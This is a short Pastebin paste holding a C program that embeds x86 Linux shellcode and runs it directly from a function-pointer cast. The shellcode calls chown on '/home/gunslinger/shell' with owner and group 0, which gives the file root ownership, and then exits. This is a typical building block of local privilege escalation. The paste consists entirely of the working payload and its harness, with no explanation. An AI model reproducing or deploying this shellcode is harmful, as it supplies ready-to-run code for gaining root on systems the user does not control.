Guest User

Untitled

a guest
Feb 21st, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. #include <stdio.h>
  2.  
  3. char *shellcode=
  4. "\xeb\x13" /* jmp 0x8048075 */
  5. "\x31\xc0" /* xor %eax,%eax */
  6. "\xb0\xb6" /* mov $0xb6,%al */
  7. "\x5b" /* pop %ebx */
  8. "\x31\xc9" /* xor %ecx,%ecx */
  9. "\x31\xd2" /* xor %edx,%edx */
  10. "\xcd\x80" /* int $0x80 */
  11. "\x31\xc0" /* xor %eax,%eax */
  12. "\xb0\x01" /* mov $0x1,%al */
  13. "\x31\xdb" /* xor %ebx,%ebx */
  14. "\xcd\x80" /* int $0x80 */
  15. "\xe8\xe8\xff\xff\xff" /* call 0x8048062 */
  16. "\x2f" /* das */
  17. "\x68\x6f\x6d\x65\x2f" /* push $0x2f656d6f */
  18. "\x67\x75\x6e" /* addr16 jne 0x80480f1 */
  19. "\x73\x6c" /* jae 0x80480f1 */
  20. "\x69\x6e\x67\x65\x72\x2f\x73"/* imul $0x732f7265,0x67(%esi),%ebp */
  21. "\x68" /* .byte 0x68 */
  22. "\x65" /* gs */
  23. "\x6c" /* insb (%dx),%es "(%edi) */
  24. "\x6c"; /* insb (%dx),%es "(%edi) */
  25.  
  26. int main(void)
  27. {
  28. fprintf(stdout,"Length: %d\n",strlen(shellcode));
  29. ((void (*)(void)) shellcode)();
  30. return 0;
  31. }
Add Comment
Please, Sign In to add comment